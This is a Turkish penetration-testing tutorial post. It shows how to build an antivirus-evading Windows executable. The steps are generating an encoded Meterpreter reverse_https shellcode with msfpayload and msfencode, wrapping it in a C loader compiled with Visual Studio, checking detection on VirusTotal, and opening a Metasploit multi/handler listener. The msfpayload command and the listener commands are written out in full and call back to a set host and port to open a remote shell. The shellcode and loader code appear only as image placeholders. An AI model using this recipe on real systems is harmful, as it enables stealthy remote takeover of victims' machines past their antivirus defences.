MsfPayload ve MsfEncode ile Shellcode Hazırlama ve Hazırlanan Kodun Visual Studio ile Derlenmesiyle Zararlı Yazılım Oluşturma

Sızma testleri sırasında antivirüslerin atlatılarak hedef sistemin ele geçirilmesi kritik bir aşamadır. Bu yazıda, Metasploit tarafından sağlanan MsfPayload ve MsfEncode araçları kullanılarak hazırlanan Shellcode özelleştirilerek Visual Studio ile derlenecek ve zararlı bir uygulama oluşturulacaktır.

Shellcode, exploit sonrası çalışan, payload olarak kullanılan komut kümesidir. Assembly dili ile yazılmıştır. Bu komutlar çalıştıktan sonra, kodun işlevine göre olay gerçekleştirilir. Örneğin, hedef sistemin kabuğuna (shell) düşülebilir, yeni bir hesap oluşturulabilir veya sisteme arka kapı bırakılabilir. Bu yazıda çalıştıran kullanıcının yetkileri ile Meterpreter bağlantısı elde edilecektir.

Shellcode ile anti-virüs atlatma işlemi için 3 adım gerçekleştirilecektir:

  • MsfPayload ve MsfEncode araçları kullanılarak Shellcode oluşturulacak
  • Oluşturulan kod kullanılarak uygulama kodu hazırlanacak
  • Uygulama Visual Studio 2008 ile derlenerek çalıştırılabilir dosya (exe) hazırlanacak

 

1) Shellcode Hazırlama

Shellcode oluşturmak için kullanılabilecek en kolay yöntemlerden birisi – Metasploit tarafından desteği kesilen ve MsfVenom kullanılması tavsiye edilen – Metasploit içerisindeki msfpayload ve msfencode modüllerini kullanmaktır. Bu iki modül kullanılarak aşağıdaki gibi Shellcode oluşturulabilir.

msfpayload windows/meterpreter/reverse_https LHOST=192.168.2.48 LPORT=443 R | msfencode -b ‘x00xff’ -e x86/shikata_ga_nai -c 3 -t c -o KabukKodu

evading-anti-virus-detection-using-shellcode-that-is-generated-by-msfpayload-and-msfencode-tools-01

Oluşturulan Shellcode, aşağıdaki gibi “unsigned char” tipinde bir dizi içermektedir:

evading-anti-virus-detection-using-shellcode-that-is-generated-by-msfpayload-and-msfencode-tools-02

 

2) Uygulama Kodunu Hazırlama

İşlemi gerçekleştirilecek kod hazırlanır. 32 bit mimaride çalışabilen kod C dili ile aşağıdaki kodlarla hazırlanarak *.c uzantılı bir dosyaya yazılabilir.

 

evading-anti-virus-detection-using-shellcode-that-is-generated-by-msfpayload-and-msfencode-tools-03

64 bit mimarideki işletim sisteminde çalışması için gerekli koda ise aşağıdaki bağlantıdan erişilebilir.

https://github.com/inquisb/shellcodeexec/blob/master/windows/shellcodeexec/shellcodeexec.c

Ayrıca bakınız:

Not: Bu kod kullanılırken parametre kullanılmayacağı için “if (argc < 2)” bloğu tamamen veya bu bloğun içerisi yorum satırına alınabilir.

Bu uygulama kodu aşağıdaki gibidir:

evading-anti-virus-detection-using-shellcode-that-is-generated-by-msfpayload-and-msfencode-tools-04

Not: Kullanılan kodun son hali, yazının en sonuna eklenmiştir.

 

3) Uygulama Kodunun Derlenmesi

Son olarak da bu kod derlenecektir. Sanal makinemiz 64 bit olacağı için 64 bit için hazırlanan uygulama kodu derlenecektir. Ayrıca kodun derlenmesi için Visual Studio tarafından sağlanan “cl” aracı kullanılacaktır.

Öncelikle kod derleme işlemi, Visual Studio kurulum dizininde komut satırı çalıştırılmalıdır. Bunun için, Başlat kısmında Visual Studio Command Prompt, yönetici olarak çalıştırılmalıdır (Eğer uygulama kodu C dizini hariç bir dizinde çalıştırılacaksa yönetici olarak çalıştırmaya gerek yoktur.)

evading-anti-virus-detection-using-shellcode-that-is-generated-by-msfpayload-and-msfencode-tools-05

Visul Studio komut satırında “cl” aracı ile hazırlanan kodun (64bit_UygulamaKodu.c) derlenmesi ile uygulama (64bit_UygulamaKodu.exe) oluşmaktadır:

evading-anti-virus-detection-using-shellcode-that-is-generated-by-msfpayload-and-msfencode-tools-06

Hazırlanan uygulamanın VirusTotal ile analiz edildiğinde 3 AV tarafından yakalandığı tespit edilmiştir:

evading-anti-virus-detection-using-shellcode-that-is-generated-by-msfpayload-and-msfencode-tools-07

Shellcode, AV atlatmak için kullanılabilecek bir yöntemdir. Bazı durumlarda hiçbir AV tarafından yakalamamasına rağmen bazı durumlarda az sayıda da olsa bazı anti-virüsler tarafından tespit edilebilmektedir.

İstemci tarafından uygulama çalıştırıldığında bağlantının sağlanması için bir dinleyici (listener) açılması gerekir. Bu işlem aşağıdaki gibidir:

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https
msf exploit(handler) > set ExitOnSession false
msf exploit(handler) > set LHOST 192.168.2.48
msf exploit(handler) > set LPORT 443
msf exploit(handler) > exploit -j

evading-anti-virus-detection-using-shellcode-that-is-generated-by-msfpayload-and-msfencode-tools-08

Uygulama çalıştırıldığında aşağıdaki gibi istemci ile bağlantı sağlanmaktadır.

evading-anti-virus-detection-using-shellcode-that-is-generated-by-msfpayload-and-msfencode-tools-09

 

64 bit mimaride çalışan uygulama kodu aşağıdaki gibidir.

 

Yazarın Bilgileri

Ertuğrul BAŞARANOĞLU
Ertuğrul BAŞARANOĞLU

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

Kullanabileceğiniz HTLM etiketleri ve özellikleri: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">

Bu sayfada incelenen konulardan doğacak sorunlar kişinin kendi sorumluluğundadır.